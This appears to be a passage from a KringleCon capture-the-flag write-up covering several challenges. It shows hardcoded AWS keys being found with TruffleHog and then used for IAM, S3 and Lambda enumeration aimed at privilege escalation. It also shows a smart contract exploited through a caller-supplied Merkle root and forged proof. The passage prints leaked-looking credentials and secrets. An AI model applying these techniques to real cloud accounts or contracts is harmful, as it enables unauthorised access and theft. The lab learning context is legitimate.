Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: BASE64
Raw result: add-a-file-using-the-
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14

Q/A:

What’s the name of the file that has AWS credentials?

put_policy.py

Task 13: exploitation-via-aws-cli

Running trufflehog on the gitlab git project:

╰─$ ../trufflehog-search/trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py

Turns out I need to find the aws_secret_access_key… lets check the put_policy.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ cat put_policy.py
import boto3
import json


iam = boto3.client('iam',
    region_name='us-east-1',
    aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
    aws_secret_access_key="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",
)

Alright now we’ve got bot the key_id and the secret_key

Next lets apply what I learned from the aws cli intro and check I can login:

1
2
3
4
5
6
elf@c0169f0e6055:~$ aws sts get-caller-identity
{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}

and I’m in!

Lets see what I can do, I have to figure out how to elevate privileges. The next step is figuring out how to list policies attached to the logged in user as

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
elf@c0169f0e6055:~$ aws iam list-attached-user-policies --user-name haug
{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}

Looks like I have a “READONLY_POLICY” :(
Next step is to look at the policy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
elf@c0169f0e6055:~$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

default version of the policy:

elf@c0169f0e6055:~$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1       
{                                          
    "PolicyVersion": {                      
        "Document": {                        
            "Version": "2012-10-17",  
            "Statement": [                    
                {                              
                    "Effect": "Allow",  
                    "Action": [        
                        "lambda:ListFunctions",  
                        "lambda:GetFunctionUrlCo
                    ], 
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetUserPolicy",
                        "iam:ListUserPolicies", 
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::602123424321:user/${aws:username}"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion"
                    ],
                    "Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
                },
                {
                    "Effect": "Deny",
                    "Principal": "*",
                    "Action": [
                        "s3:GetObject",
                        "lambda:Invoke*"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": false,
        "CreateDate": "2022-06-21 22:02:30+00:00"
    }
}

Inline policies:

elf@c0169f0e6055:~$ aws iam list-user-policies --user-name haug
{
    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Get the inline policy:

elf@b7ba81aaa7e8:~$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
    "UserPolicy": {
        "UserName": "haug",
        "PolicyName": "S3Perms",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListObjects"
                    ],
                    "Resource": [
                        "arn:aws:s3:::smogmachines3",
                        "arn:aws:s3:::smogmachines3/*"
                    ]
                }
            ]
        }
    },
    "IsTruncated": false
}

Looks like I should checkout the s3 bucket:

elf@b7ba81aaa7e8:~$ aws s3api list-objects --bucket smogmachines3 | grep Key 
            "Key": "coal-fired-power-station.jpg",
            "Key": "industry-smog.png",
            "Key": "pollution-smoke.jpg",
            "Key": "pollution.jpg",
            "Key": "power-station-smoke.jpg",
            "Key": "smog-power-station.jpg",
            "Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py",
    "MaxKeys": 1000,
elf@b7ba81aaa7e8:~$ aws s3api list-objects --bucket smogmachines3 | grep DisplayName
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",
                "DisplayName": "grinchum",

nothing really interesting… lets see about the lambda’s I have access to:

elf@b7ba81aaa7e8:~$ aws lambda  list-functions                                         [17/570]
{                               
    "Functions": [               
        {                      
            "FunctionName": "smogmachine_lambda",
            "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
            "Runtime": "python3.9",                                                     
            "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",                       
            "Handler": "handler.lambda_handler",                                               
            "CodeSize": 2126,                                                                  
            "Description": "",                                                                 
            "Timeout": 600,                                                                    
            "MemorySize": 256,                                                                 
            "LastModified": "2022-09-07T19:28:23.634+0000",                                    
            "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",                      
            "Version": "$LATEST",                                                              
            "VpcConfig": {                                                                     
                "SubnetIds": [                                                                 
                    "subnet-8c80a9cb8b3fa5505"
                ],
                "SecurityGroupIds": [
                    "sg-b51a01f5b4711c95c"
                ],
                "VpcId": "vpc-85ea8596648f35e00"
            },
            "Environment": {
                "Variables": {
                    "LAMBDASECRET": "975ceab170d61c75",
                    "LOCALMNTPOINT": "/mnt/smogmachine_files"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
            "FileSystemConfigs": [
                {
                    "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
                    "LocalMountPath": "/mnt/smogmachine_files"
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            }
        }
    ]
}

Q/A:

Flex some more advanced AWS CLI skills to escalate privileges!

And I did it, found the public accessible lambda function url:

elf@b7ba81aaa7e8:~$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
    "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
    "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
    "AuthType": "AWS_IAM",
    "Cors": {
        "AllowCredentials": false,
        "AllowHeaders": [],
        "AllowMethods": [
            "GET",
            "POST"
        ],
        "AllowOrigins": [
            "*"
        ],
        "ExposeHeaders": [],
        "MaxAge": 0
    },
    "CreationTime": "2022-09-07T19:28:23.808713Z",
    "LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}
  • AWS inline policies pertain to one identity while managed policies can be attached to many identities.
  • You can try s3api or lambda service commands, but Chris Elgee’s talk on AWS and IAM might be a good start!

The Ring of Fire:

I don’t have a Q/A section here since this was all pretty related and streamlined.

Task 14 Buy-a-hat:

I purchased a hat using Kringlecon’s custom crypto coin:

Use a KTM to pre-approve a 10 KC transaction to the wallet address: 0xDed53E07af282D845B2F0AF30Cccb2DDbBDCb3e2
Return to this kiosk and use Hat ID: 554 to complete your purchase.

I went and filled out the blanks and got this hat:
purchasing a hat

Task 15 blockchain divination:

The task here was to find the Kringlecon address…. (p.s. its pretty easy with the explorer)

Address of Smart Contract

Task 16: Exploit a smart contract:

The goal of this task is to “exploit” the BSRS smart contract. I assume this means the goal is to get into the “presale” for the sporc nft’s. They’ve only allowed a specific set of users onto the allow list. Lets see what I can do.

The tutorial on merkle trees from professor Qwerty Petabyte LINK HERE is super helpful.

Using the blockchain explorer from task 15, I should probably find the contract to exploit first. I found it at block 2 at address: 0x36A3d1182Cf6C15D93E47EF3E27272BFA0E8612A. Its about 2000 lines, so if you’re curious, its linked right here: bsrs_nft.sol

NFT Address from explorer

I have a good feeling I have to figure out how to trick the contract into thinking we’re a part of the original allow list. Lets see if I can look at the code and figure it out.

These seem to be the important parts:

  • The function that will mint us a pre_sale nft:
1
2
3
4
5
6
7
8
function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public vil {
    bool _preSaleIsActive = preSaleIsActive;
    require(_preSaleIsActive, "Presale is not currently active.");
    bytes32 leaf = keccak256(abi.encodePacked(to));
    require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!")
    _mint(to, _tokenIdTracker.current());
    _tokenIdTracker.increment();
}
  • the verify function that gatekeeps minting. It looks like this function verifies that my address is part of the merkle tree adressed by _root:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns
 (bool) {
        bytes32 computedHash = leaf;
        for (uint i = 0; i < proof.length; i++) {
          bytes32 proofElement = proof[i];
          if (computedHash <= proofElement) {
            computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
          } else {
            computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
          }
        }
        return computedHash == _root;
    }

Well they’re not storing the root or the proof in the code, so I can just provide my own a valid root and proof that both include my wallet address, and thus it will accept our input.

luckily Professor Petabyte has already setup a python script at the merkle tree link, in the links section. I can change the allowlist variable on line 150 to some address (0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a) and my_wallet_address to get the required proof and root inputs:

Root: 0x5ea52a8d61cbc9dd18bfa8559f8307f783bb4460b1b1d35637dc7a67171af625
Proof: ['0x0f1859b20c631beeedaae52fee2404ce14f333209d62f94d3034b298fd91a860']

And when I test them on the sporc contract, it works!!
success

Last step is to follow the directions:

  1. I have to follow and pre-approve a transaction, so the smart contract can execute.
Once you've confirmed everything works and you're sure you have the whole validated-and-on-the-list thing down, just go find a KTM and pre-approve a 100 KC transaction from the wallet you validated. That way, the funds are ready to go. Our Wallet Address is 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a.
  1. Then I use my fake root and proof to exploit the smart contract:

exploiting contract alt <

  1. With the success of my exploit I now have a sporc:

Conclusion:

Overall, this Kringlecon was a great success and really enjoyable experience! I actually completed almost all of these challenges on my own. Galametriel’s fountain was the only one I needed help on, probably because how much I despise web like challenges haha. Anyway,this year was great and I was glad to help santa get his five rings of power back. Hopefully the next Kringlecon is even better than this year :) Below are some pictures that you get when you finally complete all the challenges.

Here’s santa in his castle when you finally get in:
santa

Here’s all the rings in their glory:
rings

ps:

theres a secret room where they give you your key back behind the Kringlecon mansion:
lol